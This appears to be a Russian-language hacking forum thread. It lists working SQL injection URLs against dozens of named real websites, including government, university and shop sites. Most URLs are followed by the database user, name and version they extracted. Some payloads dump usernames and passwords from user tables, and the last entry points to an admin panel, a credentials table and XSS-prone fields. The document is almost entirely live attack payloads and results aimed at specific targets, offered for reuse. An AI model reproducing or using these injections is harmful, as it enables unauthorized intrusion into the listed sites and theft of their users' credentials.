Code: http://www.cageprisoners.com/campaigns.php?id=-630+/*!union*/+/*!select*/+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7-- User: cagepris_user@localhost Version: 5.0.89-community Database: cagepris_cms Code: http://der-antiaggressionstrainer.com/galerie/view.php?id=-2+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14-- User: patrik@localhost Version: 5.0.45 Database: galerie Code: http://www.kromestudios.com/games/overview.php?id=1+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29-- User: root@localhost Version: 5.0.45 Database: kromeweb2
Code: http://www.tunisieholidays.com/annonces/resultannonce.php?ville=9&cat=2+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+--+ Username: [email protected] Database: cm146411 Version: 4.1.23-pro-gpl-log Жирненький сайтик. Code: http://www.lorenz-electronics.com/news_dettaglio.php?modulo=NEWS&lingua=eng&id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5-- Username: [email protected] Database: LORENZ Version: 5.0.45
Code: http://www.relo.sk/file.php?file=-58+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- User: relocation_123@localhost Version: 5.0.51a-log Database: relocation Code: http://www.toshiba-klima.at/produkt/artikel.php?id=420+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- Неплохой сайтик ^_^ User: root@localhost Version: 5.0.45 Database: aircond Code: http://www.musiconline.com.br/videos/index.php?ida=1583+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4-- User: mol_admin@localhost Version: 5.0.90-community-log Database: mol_musiconline
Code: http://www.imagemodelspanama.com/modelos.php?cat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3-- Username: nissitec_agent@localhost Database: nissitec_image Version: 5.1.45-log
Code: http://www.gtk.fi/slr/author.php?id=-1+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4,5,6,7,8-- User: slr@localhost Version: 5.0.77 Database: slr Code: http://npiw.punjab.gov.pk/wc_view_progress_print.php?wcId=-27571+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11-- User: guest_npiw@localhost Version: 5.0.51b-community-nt Database: watercourse Code: http://www.indstate.edu/news/news.php?newsid=-2170+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6-- Норм домен ^_^ User: news@localhost Version: 5.0.45-community-nt-log Database: news
Code: http://digitaltouchgroup.com/categories.php?cat=-1+union+select+concat_ws(0x3a,user(),database(),version())-- Username: mohammed_digital@localhost Database: mohammed_digitaltouchgroup_db Version: 5.0.77-community Code: http://www.plockagaleria.com/konkursy/cat.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5-- Username: [email protected] Database: pgs Version: 5.0.90-log Code: http://www.parfymelle.no/style_two.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4-- Username: [email protected] Database: parfyme Version: 5.0.22
Code: http://www.cyclingconsulting.com/ciclistas_maqueta.php?ciclista_cod=-32+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15-- User: [email protected] Version: 5.0.32-Debian_7etch5-log Database: DBA869-ciclistas Code: http://www.draytek.com/user/SupportAppnotesDetail.php?ID=-102+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4,5,6,7,8,9-- User: draytekdb_user@localhost Version: 5.0.67-log Database: draytekdb Code: http://www.msm-musik.de/index.php?page_id=-18+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29-- User: _msm@localhost Version: 4.1.22 Database: 10045_msm
Code: http://www.opwegmetenergie.nl/wijzig.php?cat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4-- Username: nove@localhost Database: nove Version: 4.1.22-log Code: http://www.ganeshaonline.com/ViewItems.php?itemid=730+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- Username: [email protected] Database: ganeshaonline Version: 5.0.41-community
Code: http://www.ctaholidays.net/beta/holiday_details.php?id=1225589959+union+select+1,2,3,4,5,6,7,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,9,10,11,12,13,14,15-- User: sercanak_main@localhost Version: 5.1.45-log Database: sercanak_ctav2 Code: http://www.graffitiwallpaper.com/index.php?wallpaper=-44+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7,8,9,10-- User: graffiti_wall@localhost Version: 4.1.22-standard Database: graffiti_cms Code: http://financialselfserviceworld.com/products.php?prod_id=-1794+/*!union*/+/*!select*/+concat_ws%280x3a,0x73616e656b736f736f,user%28%29,database%28%29,version%28%29%29-- User: atmmarketplace@localhost Version: 5.0.77 Database: sitedb
Code: http://hospitalityselfserviceworld.com/storefronts.php?sf_id=-114+/*!union*/+/*!select*/+concat_ws%280x3a,0x73616e656b736f736f,user%28%29,database%28%29,version%28%29%29-- User: atmmarketplace@localhost Version: 5.0.77 Database: sitedb Code: http://www.mmblaw.com/newsevents.php?NewsID=66+union+select+concat_ws%280x3a,0x73616e656b736f736f,user%28%29,database%28%29,version%28%29%29-- User: pnc_morganmiller@localhost Version: 4.1.22-community-nt Database: pnc_morganmiller Code: http://www.rocautos.com/vehicle_detail.php?item=-156372+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10,11,12,13,14,15-- User: [email protected] Version: 5.0.67-userstats-log Database: autoshop2107 Code: http://www.climamaison.com/chauffage.php?K=-94+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4-- User: climamaisoncom@localhost Version: 5.0.32-Debian_7etch12-log Database: climamaisoncom Code: http://www.amnh.org/programs/programs.php?event_type_id=1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29-- User: com_dbpublic@localhost Version: 5.0.41-community-log Database: com_calendar Вывод в исходнике. Code: http://www.csr-asia.com/index.php?cat=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29-- User: csrasia_db1@localhost Version: 5.0.67-community Database: csrasia_db1 Code: http://www.receptur-gdventura.es/v2/publico/actividad_ficha.php?actividad_id=-23+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29-- User: [email protected] Version: 5.0.51a-24+lenny2 Database: activasol_receptur Code: http://www.fotomundo.com/nota.php?id=1147+union+select+1,2,3,4,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,6,7,8,9,10,11,12,13,14,15-- User: fotomundo.com@localhost Version: 5.0.77 Database: fotomundo_com Code: http://www.indianminiature.in/enlarge.php?cid=-448+union+select+1,2,3,4,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,6,7,8,9,10,11,12,13,14,15,16-- User: paintingnew@localhost Version: 4.1.22-community-nt Database: paintingnew Code: http://www.mediendenk.com/images/gallery.php?AID=-0000004023+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29-- User: [email protected] Version: 5.0.32-Debian_7etch1~bpo.1-log Database: mediendenk_com Code: http://ershad.byethost8.com/linktop.php?id=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6,7-- User: [email protected] Version: 5.1.41-3 Database: b8_5033612_linkbox Выводил через сипт (1 поле). Code: https://secure.clickitgolf.com/coupon.php?courseId=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29-- User: clickitg@localhost Version: 4.1.20 Database: clickit2 Code: http://www.asiayogaconference.com/faculty/index.php?faculty_id=32+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10-- User: root@localhost Version: 4.1.22-log Database: ayc2009 Code: http://www.happypuglia.com/disponibilita.php?Cod=-1+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29-- User: [email protected] Version: 4.0.18-standard Database: pugliavacan4764 Code: http://www.onthetable.co.uk/product.php?product=Culinary_Concepts_Corn_on_the_Cob_Skewers&sproductID=57+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7,8-- User: [email protected] Version: 5.0.77 Database: db50847 P.S Скули нашёл ещё неделю назад, записывал всё в блокнот, на боянность проверить ещё не успел но позже почищу.
Code: http://uis.sashaal.net/product.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5-- Username: v2v@localhost Database: v2v Version: 5.0.51a-24+lenny1-log Украинские Информационные Системы. Code: http://www.pbphotography.nl/portfolio.php?cat=48+union+select+concat_ws(0x3a,1111,user(),database(),version())-- Username: pbp@localhost Database: pbp Version: 4.1.22-standard Code: http://giopro.gr/main.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5-- Username: giopogr1_user@localhost Database: giopogr1_giopro Version: 4.1.22-standard Code: http://www.richmond.com.sv/detalle.php?id=9+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6-- Username: [email protected] Database: db7589_richmondsv Version: 4.1.25-Debian_mt1 Code: http://mybulgariayoung.org/gallery.php?l=bg&cat=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7-- Username: mybulgariayoung@localhost Database: mybulgaria_db Version: 5.0.51a-log Code: http://www.recrapro.nl/index.php?cat=product_detail&pid=768+union+select+1,concat_ws(0x3a,111,user(),database(),version()),3-- Username: outdoor@localhost Database: outdoorpro Version: 4.1.22 Отдохнул и размахнулся за пару часов
Code: http://onlife.ru/curiously.phtml?id=-122+union+select+1,2,3,4,5,6,7+--+ Version: 5.0.89-community User: onliferu_main@localhost Database: onliferu_main Вот нашел еще: Code: http://www.clinicas.ru/?id=122 и Code: http://www.piro.ru/show_katalog.php?id=-22 но до ума довести не смог
Code: http://www.fusion-aarhus.dk/katalog.php?cat=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4-- Username: web0@localhost Database: usr_web0_1 Version: 5.0.32-Debian_7etch6 Code: http://www.lacumbre.gov.ar/index.php?put=servicios-cat&ls=0&id_subrubro=16+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19-- Username: acumbre_sitio@localhost Database: lacumbre_sitio Version: 4.1.22-standard Code: http://score.dnr.sc.gov/deep.php?subject=5&topic=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5-- Username: score@localhost Database: score Version: 4.1.20 Code: http://www.heber.ca.gov/section.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15-- Username: [email protected] Database: kenwood Version: 5.0.67.d7-ourdelta-log Gov идут отлично.
Code: _http://www.zonebbs.com/boards.php?t=10+and+%281,2%29=%28select+*+from%28select+name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29x%29--+ 5.0.51a-24+lenny2-log Code: _http://www.blindbargains.com/boards.php?t=66+and+%281,1%29=%28select+*+from+%28select+name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29x%29--+ 5.0.89-community Code: _http://www.glaciergaming.co.uk/gg/boards.php?t=list&rank=Queen%27+union+select+1,concat_ws%280x3a,username,password%29,3,4,5,6,7,8,9,10,11,12,13+from+onecms_users+--+ Code: _http://www.thatgamingsite.com Форма поиска ->поле name=search HTML: %' union select 1,2,concat_ws(0x3a,database(),version(),user(),@@version_compile_os,@@datadir),4,5,6,7,8,9,10,11 -- В самом низу!
определил сколько таблиц но всё равно ничего не получаеться: Code: http://www.platinumloops.com/detail.php?prod_id=182'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*
Code: http://shop.megabug.co.uk/products.php?cat=96+union+select+1,2,3,concat_ws(0x3a,1111,user(),database(),version()),5,6-- Username: megabug_admin@localhost Database: megabug_shop Version: 5.0.90-community Code: http://www.fot-on.com/files.php?cat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3-- Username: myfoton@localhost Database: myfoton Version: 5.1.39-log Code: http://kerkenaships.com/catalogue_ar.php?cat=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version())-- Username: kerkena_root@localhost Database: kerkena_bateau Version: 5.0.89-community Code: http://newyorkquilter.com/gallery.php?cat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13-- Username: sewingandbeyond@localhost Database: sewingandbeyond_com_maindb Version: 5.0.67 Code: http://planet-bison.com/catalogue.php?action=cat&idcat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5-- Username: planetb@localhost Database: planetb Version: 5.0.44-log Code: http://www.otten.it/prodotti.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),database(),version()),12,13,14-- Username: ottenit_user@localhost Database: ottenit_main Version: 5.0.89-community Code: http://rentakran.kz/ru/catalogue/category.php?cat=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9-- Username: ltech@localhost Database: ltech Version: 5.0.89-log
Code: http://www.cobavin.com.br/imprimir.conteudo.php?id=1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15-- Username: cobavin@localhost Database: cobavin Version: 5.0.90
http://www.freefromfear.org/true.php?id=213-213%20union%20select%201,version%28%29,3,4,5,6,7%20-- Code: http://www.freefromfear.org/true.php?id=213-213%20union%20select%201,concat_ws%280x3a,email,password%29,3,4,5,6,7%20from%20user%20-- Мыльник:Пасс =) 4.1.20-log
Code: http://koleso-russia.ru/index.php?ob=news_one&id=-1%20UNION%20SELECT%201,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8%20--+ User: [email protected] Database: db_koleso2_1 Version: 5.0.77-log PR: 5 Есть таблица Users с колонками login и pass. Админка тут - http://koleso-russia.ru/admin.php . В акциях в полях "Заголовок" и в самом тексте xss.
